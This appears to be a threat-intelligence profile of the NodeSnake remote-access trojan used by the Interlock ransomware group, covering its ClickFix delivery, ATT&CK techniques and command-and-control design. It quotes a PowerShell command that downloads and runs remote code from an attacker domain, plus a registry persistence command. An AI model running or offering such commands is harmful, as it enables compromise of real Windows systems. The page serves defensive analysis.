NodeSnake
- Type
- RAT
- Capabilities
- PersistenceReconnaissancePost exploitation
- Delivery
- ClickfixLure
- Platforms
- Windows
NodeSnake is a remote-access trojan and first-stage backdoor associated with the financially motivated Hive0163 threat cluster and the Interlock ransomware operation. Its Node.js-based JavaScript implementation provides persistent access to compromised Windows systems, executes shell commands, and downloads and launches additional malware, including InterlockRAT. It serves both as an initial foothold and as a persistent access component during extended intrusions preceding data theft and ransomware deployment. Observed deployments include attacks against multiple universities in the United Kingdom and other education-sector environments.
NodeSnake is delivered through ClickFix social engineering, including fake CAPTCHA prompts that persuade users to execute malicious PowerShell commands through the Windows Run dialog. Its command-and-control communications include HTTP POST requests. A later variant adds screenshot collection. NodeSnake shares code logic and command-and-control infrastructure with the JunkFiction downloader and InterlockRAT, but it also appears as a distinct component deployed before InterlockRAT in multi-stage infection chains.
Associated vulnerabilities
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
4 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Interlock’s toolset includes NodeSnake, InterlockRAT, and other custom malware.
Noteworthy tactics, techniques, and procedures (TTPs) include the use of ClickFix-style social-engineering methods, a custom-built remote-access trojan (RAT) called "NodeSnake" or (alternately) "Interlock RAT," and a PHP-based backdoor for cross-platform persistence.
Beginning in early July 2026, the Blackpoint APG has identified the NodeSnake RAT being deployed again, with more than 5 incidents in the previous 14 days.
The attack in itself is said to have leveraged the ClickFix social engineering tactic to trick the victim into running a PowerShell command, which then downloads NodeSnake, a known malware attributed to Hive0163. A first-stage component, NodeSnake, is designed to run shell commands, establish persistence, and retrieve and launch a wider malware framework referred to as Interlock RAT.
Techniques & procedures
28 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
4 techniques
Initial Access
The Interlock ransomware operation surfaced in September 2024 and has been linked to ClickFix and to malware attacks in which they deployed a remote access trojan called NodeSnake on the networks of multiple U.K. universities.
Initial Access | T1189 - Drive-by Compromise On Day 1 of the attack, an end-user device was linked by a ChatGPT search for Dynamics 365 to a reputable web property that is believed to have been compromised at the time with a ClickFix lure.
At 00d 00:00:13, the threat actor engaged in a bit of social engineering, convincing the user to paste a certain command into a Run dialogue box.
The attack in itself is said to have leveraged the ClickFix social engineering tactic to trick the victim into running a PowerShell command, which then downloads NodeSnake.
Execution
7 techniques
Execution
By day three, the attackers used a compromised domain administrator account to create a scheduled task on a print server. Scheduled task \Microsoft\Windows\Defrag\ScheduledDefrags Scheduled task created for persistence
Persistence | T1053.005 - Scheduled Task/Job:Scheduled Task On Day 3, the threat actor, using the compromised domain administrator account, executed the following command line instruction on a print server to create a scheduled task which executed persistence malware debug.log via node.exe
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w H -c "$s='irm dnsgo-windowsds[.]live/nlOs24YoL';iex ([string]::Join('|', $s, 'iex'))"
TERMINAL 0xa0 Interactive cmd.exe shell; TERMINAL_COMMAND 0xa1 One-shot cmd.exe /c... output to C:\Users\Public\<random>.txt
The malicious component on disk is a text file, debug.txt, which Node runs regardless of extension.
Compromised sites serve a filtered "Verify you are human" page that walks the visitor into pasting a command into the Run dialog.
Researchers from IBM X-Force observed an intrusion starting with a ClickFix attack that tricked a victim into executing a malicious PowerShell command.
Persistence
4 techniques
Persistence
By day three, the attackers used a compromised domain administrator account to create a scheduled task on a print server. Scheduled task \Microsoft\Windows\Defrag\ScheduledDefrags Scheduled task created for persistence
Persistence | T1053.005 - Scheduled Task/Job:Scheduled Task On Day 3, the threat actor, using the compromised domain administrator account, executed the following command line instruction on a print server to create a scheduled task which executed persistence malware debug.log via node.exe
The Interlock ransomware operation surfaced in September 2024 and has been linked to ClickFix and to malware attacks in which they deployed a remote access trojan called NodeSnake on the networks of multiple U.K. universities.
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ChromeUpdater" ... node.exe ... debug.txt
Privilege Escalation
4 techniques
Privilege Escalation
By day three, the attackers used a compromised domain administrator account to create a scheduled task on a print server. Scheduled task \Microsoft\Windows\Defrag\ScheduledDefrags Scheduled task created for persistence
Persistence | T1053.005 - Scheduled Task/Job:Scheduled Task On Day 3, the threat actor, using the compromised domain administrator account, executed the following command line instruction on a print server to create a scheduled task which executed persistence malware debug.log via node.exe
Thread execution hijacking : uses SetThreadContext / GetThreadContext to inject into running threads.
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ChromeUpdater" ... node.exe ... debug.txt
Stealth
6 techniques
Stealth
$s holds only the irm half and [string]::Join('|', $s, 'iex') assembles irm dnsgo-windowsds[.]live/nlOs24YoL|iex at runtime for the outer iex to run.
Persistence was an HKCU Run key named ChromeUpdater ... the value name borrows Chrome's updater.
Thread execution hijacking : uses SetThreadContext / GetThreadContext to inject into running threads.
DELETE 0x0c fs.rmSync(__filename)... If the counter passes 40, the implant deletes itself... self-deleting scheduled task... --delete (self-delete after encryption)
DLL execution : loads payloads via rundll32.exe ... rundll32.exe %s,run %s
Anti-debugging : timing checks via GetTickCount and QueryPerformanceCounter , plus IsDebuggerPresent .
Discovery
3 techniques
Discovery
A DirectorySearcher retrieves every computer object from Active Directory and examines each description for VB, VEEA, BCK, and BACK.
The deobfuscated script builds a Systeminfo object holding the user's privilege level and the Windows version.
Anti-debugging : timing checks via GetTickCount and QueryPerformanceCounter , plus IsDebuggerPresent .
Command and Control
7 techniques
Command and Control
The PowerShell script functions as a full-fledged backdoor that can beacon a heartbeat message containing system information to a C2 server every 30 seconds, poll for a new command every 50 seconds, execute it via "cmd.exe," and relay the results back to the server.
The implant connects over ws:// and rotates across nine Cloudflare Tunnel domains plus three fallback IP addresses... All three tiers use the same transport protocol... RC4-encrypted WebSocket framing.
The channel is a SOCKS proxy, so the operator can reach anything the workstation can.
Operator commands. The implant supports 12 message types: SOCKS5 0x05 SOCKS5 proxy... The native implant runs a multi-threaded design: SocksThread SOCKS4 proxy handler Socks5Thread SOCKS5 proxy handler
The C2 infrastructure runs through free Cloudflare Tunnel endpoints as disposable WebSocket relays, falling back to hardcoded IPs on hosting providers.
The transport is a raw TCP socket on 443 with no TLS on top.
Once inside, attackers use traffic distribution systems to redirect victims and deliver payloads through ClickFix-style attacks or fake browser updates. | NodeSnake, which acts as the first stage loader in most Interlock infections, shares code logic and server addresses with both JunkFiction downloader and InterlockRAT.
Exfiltration
1 technique
Exfiltration
FILE_GET_SOCKS 0x21 Stream local file to operator
Observables
27 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
17 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.